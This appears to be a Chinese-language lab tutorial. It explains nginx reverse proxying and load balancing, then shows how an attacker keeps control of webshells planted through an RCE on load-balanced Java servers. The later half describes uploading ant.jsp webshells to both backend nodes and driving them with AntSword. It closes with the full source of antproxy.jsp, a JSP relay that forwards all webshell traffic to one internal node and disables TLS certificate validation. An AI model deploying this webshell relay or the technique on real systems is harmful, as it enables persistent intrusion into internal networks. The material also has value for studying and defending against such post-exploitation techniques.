nginx这个中间件我们大家都知道。
那么它究竟有什么作用呢?
我们这里提到它最主要的两个作用:1.反向代理 2.负载均衡
反向代理应该是Nginx做的最多的一件事了,什么是反向代理呢?
反向代理(Reverse Proxy)方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器。
大概是这个意思。
反向代理是代理服务器,为服务器收发请求,使真实服务器对客户端不可见。
用途:
隐藏服务器真实ip:使用反向代理,可以对客户端隐藏服务器的ip地址
负载均衡:反向代理服务器可以做负载均衡,根据所有真实服务器的负载情况,将客户端请求分发到不同的真实服务器上
提高访问速度:反向代理服务器可以对静态内容及短时间内有大量访问请求的动态内容提供缓存服务,提高访问速度
提供安全保障:反向代理服务器可以作为应用层防火墙,为网站提供对基于web的攻击行为(例如DoS/DDoS)的防护,更容易排查恶意软件等。还可以为后端服务器统一提供加密和SSL加速(如SSL终端代理),提供HTTP访问认证等。
负载均衡也是Nginx常用的一个功能,负载均衡其意思就是分摊到多个操作单元上进行执行,例如Web服务器、FTP服务器、企业关键应用服务器和其它关键任务服务器等,从而共同完成工作任务。简单而言就是当有2台或以上服务器时,根据规则随机的将请求分发到指定的服务器上处理,负载均衡配置一般都需要同时配置反向代理,通过反向代理跳转到负载均衡。而Nginx目前支持自带3种负载均衡策略,还有2种常用的第三方策略。
实现负载均衡的方式有很多种,比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式、反向代理方式等等。
如DNS的负载均衡:
用 ipvsadm 来做的 IP 负载均衡:
ipvsadm -a -t 30.0.30.10:80 -r 172.16.1.2:8080 -m
ipvsadm -a -t 30.0.30.10:80 -r 172.16.1.3:8080 -m
nginx支持的几种策略:
轮询(默认) :按请求顺序逐一分配。
权重:指定轮询几率,weight和访问比率成正比,用于后端服务器性能不均的情况。
ip_hash:iphash的每个请求按访问ip的hash结果分配,这样每个访客固定访问一个后端服务器。
url_hash:按访问url的hash结果来分配请求,使每个url定向到同一个后端服务器,后端服务器为缓存时比较有效。
least_conn:根据访问的服务器的连接数量进行来分配。
fair:按后端服务器的响应时间来分配请求,响应时间短的优先分配。
我们这里会有一个nginx的服务器,以及两个节点,一个由自己的物理机充当,另一个节点使用一台centos的虚拟机充当。
Node1和Node2在内网中都开放了8080端口,我们从外部是没办法进行访问的。
由于不能从外部访问,我们只能从nginx下进行访问。
nginx的配置如下图所示:
实验环境是,在这个环境下存在一个RCE漏洞,能够让我们上传一个weshell。
我们在这两个节点下都上传了一个ant.jsp的一个脚本。
然后我们启用蚁剑,在它之中添加一个shell。
然后发现连接成功,没什么问题,因为在这两个节点中我们都上传了一个ant.jsp。
我们测试在/tmp目录下上传文件。
如果,在一台机器上一旦没有这个文件,那么你就会出现一会儿报错,一会儿又不报错的状况。
原因是,因为一旦有一台机器没有,当你刷新后,它请求到了这台没有这个文件的服务器上,它就会报错404。当你再次刷新后,它又请求到了另一台有这个的服务器上,就会显示请求成功。
解决办法: 这个没有什么很好的解决办法,只有让你自己在这个地方多尝试几次,一直创建文件,然后刷新,看是否两台服务器都有了这个文件。
由于我们有两台节点,这就会导致,在我们执行命令的时候,它会是一次执行的是一台,一次执行的另一台的命令。
比如,我们执行 ip addr 查看当前执行机器的 ip 时。
我们可以清楚的发现,这两次执行命令所得到的结果是不同的,很明显是请求到了不同的两台机器上了。
我们可以想象如果存在多个节点,然后每个节点的权重不同的话,那么这个就是毫无规律可言了。
在我们需要上传一些工具时,它也是会有麻烦的。因为在蚁剑上传工具时,它是会存在分片传输的,即就是它规定了一个上传规格的大小,超过了这个规格,它就会就行分片传输,这样就会导致我们传输工具的不完整性,很容易造成文件的缺失。
但是当我们传输一些比较小的文件时,是可以传输完整的,这里我们传输了一张图片,它是完整传输了。
最简单的解决方法:就是我们在遇到这样的问题时,我们可以选择关闭其中一台服务器,这样问题肯定能进行解决,但是在现实环境中,这样一定会造成公司经济的损失。
我们可以编写一些脚本,在它要执行命令时,我们加上一些判断的语句,使它执行我们想执行的命令。
这样我们在遇到第二个问题时,我们只想要执行其中某一台机器时,就得到了解决。
第三种解决方法就是,我们在web层面做一层流量的转发。
没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。
目的:我们的目的是将所以的流量都转发到其中的一台机器上,这个执行操作的就只会是一台机器。
1. 创建 antproxy.jsp 脚本
2.修改转发地址,转向目标 Node 的 内网IP的 目标脚本 访问地址。
(就是修改在ant.jsp中的那个ip地址)
3.修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变
4.执行命令
antproxy脚本:
这样我们就会发现问题是完美的解决了。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.20.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>